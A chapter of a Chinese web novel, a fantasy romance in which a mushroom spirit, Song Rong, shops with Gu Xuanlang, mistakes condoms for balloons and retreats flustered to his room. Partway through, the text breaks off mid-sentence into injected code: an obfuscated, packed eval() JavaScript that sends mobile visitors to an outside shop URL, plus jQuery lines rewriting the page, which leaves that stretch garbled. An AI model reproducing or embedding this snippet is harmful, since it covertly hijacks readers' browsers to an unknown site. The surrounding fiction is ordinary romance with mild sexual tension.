兜兜转转,购物车里堆了不少东西。
虽然大部分东西都是宋嵘买的,但顾宣琅也拿了些水果,其中有好几样宋嵘连见都没见过,一看价格却叫人咋舌,自己肯定会抢着结账,可若是顾宣琅当真就不给钱了……
宋嵘如临大敌,唯恐他再多买:“差不多了,回家吧。”
顾宣琅表示赞同,顺势指了指结账区。
排队的人挺多,两人一前一后安静等待。
宋嵘百无聊赖,两手交叠撑着购物车推把,打量着身边的端架商品:为了刺激顾客在结账的碎片时间里冲动消费,货架上不是花花绿绿的糖果,就是花花绿绿的安全套。
真·活化石小蘑菇可不认得这玩意。
他端详了老半天,甚至挑了一盒0.01拿在手里查看说明——当然,很多字看不明白就是。
顾宣琅战术性咳嗽:“要买吗?”
宋嵘奇怪地看了他一眼:“买这个干嘛?”
顾宣琅不说话了。
宋嵘又挑了一盒热感螺纹,发出了来自灵魂的质问:“这么丑的气球,真的能卖出去吗?”
顾宣琅:“……”
停顿一秒,他战术性咳嗽:“行了,你不买就把东西放下,往前走,别堵在这里。”
宋嵘连连点头,这就要将小盒子放回去,嘴里一句风马牛不相及的话没过把门:“对,不能占用公共资源,我们可是基佬啊!”
听到这话,排在前面的几个人惊恐回头,不约而同挪开几步。
宋嵘不明所以地眨眨眼。
刚才见到的皮裤男恰巧排在他们后面,听到这话,捂嘴偷笑,嗲声嗲气地跟他搭话:“是基佬就更应该买安全套了——男孩子也要保护好自己。”
这玩意儿能保护他?
不过,能叫安全套的东西一定很安全。
怕死的小松茸挠挠头,一时间不知道该不该把小盒子放回去,顾宣琅看不下去了,近乎是抢走了他手里的东西直接扔进购物车。
想了想,又多拿了两盒。
皮裤男登时满脸垂涎地望向顾宣琅,一边轻呼,一边翘着兰花指戳了戳仍在状况外的宋嵘:“哇,你男朋友哪里找的?”
宋嵘十分真诚:“石头里蹦出来的。”
他知道对方是人类,特意守住了补天石这个秘密。
皮裤男翻了个白眼。
为了避免节外生枝,轮到两人结账时,顾宣琅推车、付钱、装袋一气呵成,根本没留给宋嵘抢着买单的机会。
宋嵘对此颇为不满:“都说了我来准备早餐,你干嘛抢着付钱?我把钱转给你……”
顾宣琅归还了购物车,提着两大袋东西往公寓方向走:“你负责‘准备’就行。”
生怕对方不能理解自己的意思,便说得更加直白:“家里花钱的事不用你操心。”
这句话宋嵘听过。
在很久、很久以前。
顾宣琅没有让承诺落空,一开始上山挖野菜、打猎,后来又去给城里大户人家跑腿、去走镖,风里来雨里去,时不时还会弄回一身伤……总之,能赚钱的方式他都去尝试过,并且从来不抱怨,或许也正是经历过艰难险阻,体会过人生百态,现在才能成为特管处拿年薪的顾问吧?
沉甸甸的购物袋在男人手里轻轻晃动。
甚至能看见他手背绷紧的青筋。
宋嵘咬了下唇,心里琢磨着寄宿的这段时间里自己一定力所能及多干一些家务活,帮顾宣琅分担生活压力。
还有。
早知道不用花钱,就应该买五条内裤。
*
两人回到青森公寓已经是半个小时后。
早餐还剩了不少牛肉烧麦和红糖馒头,宋嵘提议热一热当晚餐。
见顾宣琅围着蒸箱忙活开,他也没闲着,将刚买的水果和食材拆分开,一样一样放进冰箱。
冷气拂在手背上凉飕飕的,看见食材分门别类、整整齐齐填满了冷藏室,宋嵘心情大好,主动和顾宣琅聊起以前的事:“我还记得以前山脚下的溪水特别凉,每次到了夏天,你都让我把西瓜冰在溪水里,午睡起来才去捞……”
顾宣琅勾了勾唇角,顺着他的话往下说:“前几次冰西瓜的时候没经验,被水冲走好几次,后来还是你想了个办法,把西瓜装进竹篓里、竹篓系在岸边的树干上,就再也没有丢过。”
回忆至此,宋嵘面上也多出一丝笑意,连声音都无意识拔高了:“还是会弄丢的,你不记得了吗?有两次,竹篓里的西瓜是被猴子偷了,你追了好久都没讨回来……”
顾宣琅是个要面子的:“不记得了。”
宋嵘轻嗤一声,踮起脚,将几个番茄放进冷藏室最高层:“我那时候总是在想,如果能学会一种让食物慢一点腐坏的术法就好了……现在好了,一台冰箱,完美解决。”
啊。冰箱。
人类智慧集大成……
还没感慨完,他就闻到了一股洗手后留下的皂香。
随后,顾宣琅的声音灌入耳中:“那时候也有很多保存食物的方法。”
那家伙不知什么时候已经站在了他的身后,热息落在后颈,痒痒的,和冷藏室里溢出来的凉气形成了鲜明的对比。
宋嵘一吞口水:“嗯?”
顾宣琅的声音似乎更低了一点,身体似乎也更近了一点:“把蘑菇挤干水分,不就能保存很久了?”
他说的不是烘干,也不是晒干。
那个“挤”字,莫名能听出几分暧昧。
宋嵘呼吸一顿,准备关上冰箱溜之大吉,谁料,顾宣琅倏地凑近,伸出手越过他的肩膀,将刚刚摆好的番茄一个个取出来,重新放进保鲜区:“番茄不能挨着冰箱后壁放,会冻坏的。”
宋嵘“哦”了声。
目光一垂,就看见了后方多出来的两只脚——自己倒像是被拢在中间。
第一反应是,顾宣琅这家伙到底是吃什么长了这么高,拿冰箱最上层的东西都不用踮脚;第二反应则是,这个姿势很熟悉。
顾宣琅不止一次用过。
想到那些事,宋嵘的双颊瞬间烧起来。
身后的顾宣琅却在不徐不疾地挑选食材:“晚餐只吃碳水可不行,我拿点生菜和甜椒,拌个沙拉。”
宋嵘又“哦”了声。
随即弯着腰从他的手臂底下钻出来:“我去看看还有什么食材需要放进冰箱……”
这个借口很蹩脚。
毕竟该整理的都已经整理完了。
两只购物袋里只剩下他的内裤和三盒气球,宋嵘取出一盒水润超薄,神情虔诚地拆开纸盒、捏着四四方方的小包装把玩:“那个人类说这东西可以保护我,可是到底要怎么用啊?这么小一袋……是不是能像汽车的安全气囊那样,关键时刻‘嘭’地变大……”
天马行空的想象惹得顾宣琅一挑眉:“不会。”
顿了顿,又眯起眼睛:“你坐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17773929|209978||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
过谁的车?还知道安全气囊?”
宋嵘说周处的。
那是他有生以来第一次坐车,不知道系安全带,又害怕发动机轰鸣——周稷安的座驾很旧了,开起来就跟要散架似的,他瑟瑟缩缩地坐在副驾座上,猛地一刹车,就吓得差点变回原形,周稷安不得不跟他一路闲聊,就说到了安全气囊这回事儿。
见顾宣琅不说话了,宋嵘自顾自捏起小包装,能感觉到里面滑溜溜的,还能摸到圆圆的一个圈,应该是气球的吹气口吧?
算了算单价,他没舍得把小包装拆开一探究竟,只能从纸盒印的图案上寻找突破口。
还真找到了:”我发现了,这个气球的形状……”
某只小松茸狂喜:“完美适配我的本体!”
顾宣琅肉眼可见地动作一顿,神情复杂:“这不是气球,也不需要适配你,安全套的作用跟鱼鳔套、羊肠套是一样的……这样说,你能明白了吗?”
宋嵘能明白:顾宣琅用过鱼鳔和羊肠,而自己被动用过。
画面鲜活得仿佛发生不久,那枚小包装愈发烫手烫手,他快速将安全套塞回购物袋,抓起内裤就往主卧方向走:“我、我去把内裤洗一洗!”
“洗衣机在阳台。”
“我手搓!”
说话间,他的脖子到耳根一路红透,又缩着肩,活像只煮熟的虾,走到一半还用手捂住了头顶,生怕因为情绪太激动ber出几朵小蘑菇。
顾宣琅在身后唤:“晚饭也不吃了吗?”
迟了。
卧室房门“砰”地合上,隔着门板,传来一声闷闷的“不吃了”。
*
宋嵘靠在门板上恍惚了几分钟,然后快步走到床边,掀开被子,整个人趴进去,又把枕头拉过来严严实实地蒙住脑袋。
太丢人了。
顾宣琅一定觉得自己很蠢吧?或者,觉得自己是在故意暗示什么?
不对。不对。
安全套是顾宣琅买的,还一口气买了三盒,这怎么看也是他在故意暗示什么——不,都已经不是暗示而是明示了吧?
两千年未见,顾宣琅还是想跟自己睡觉。
得出这个结论后,宋嵘在被子里蜷了蜷腿,把枕头压得更紧一些,像是想把那些没羞没躁的念头一同按进枕芯里,紧接着,开始为自己找补:他们只是冷战加上久别,所以关系比以往生疏了些,又没明确说过分手,那就还是情侣,情侣住在同一个屋檐下,一起睡觉也无可厚非……
再说了,顾宣琅确实很不错。
想到这里,宋嵘的呼吸更乱了,掀开被子想要补充一点新鲜空气,身子一动却发现大事不妙:他的小松茸ber起来了……
咳,不是头上的。
他烧得厉害,起身准备去厕所冲个凉。
好巧不巧,门外响起了顾宣琅的敲门声:“不吃晚饭可不行,没胃口的话,稍微吃点沙拉吧?”
这时候的关怀就显得格外烦人了。
宋嵘没吭声。
他不敢吭声,只是一边夹着腿,一边往厕所挪动,翻身下床的时候还不小心被没塞好的床单下摆绊了一跤,险些摔倒。
听见了屋里不太寻常的动静,门外的人俨然是急了,接连又叩门数下:“你没事吧?我进来了……”
有、有事。
但不关你的事。
婉拒的话还没来得及说出口,宋嵘就眼睁睁看着顾宣琅打开房门,走了进来。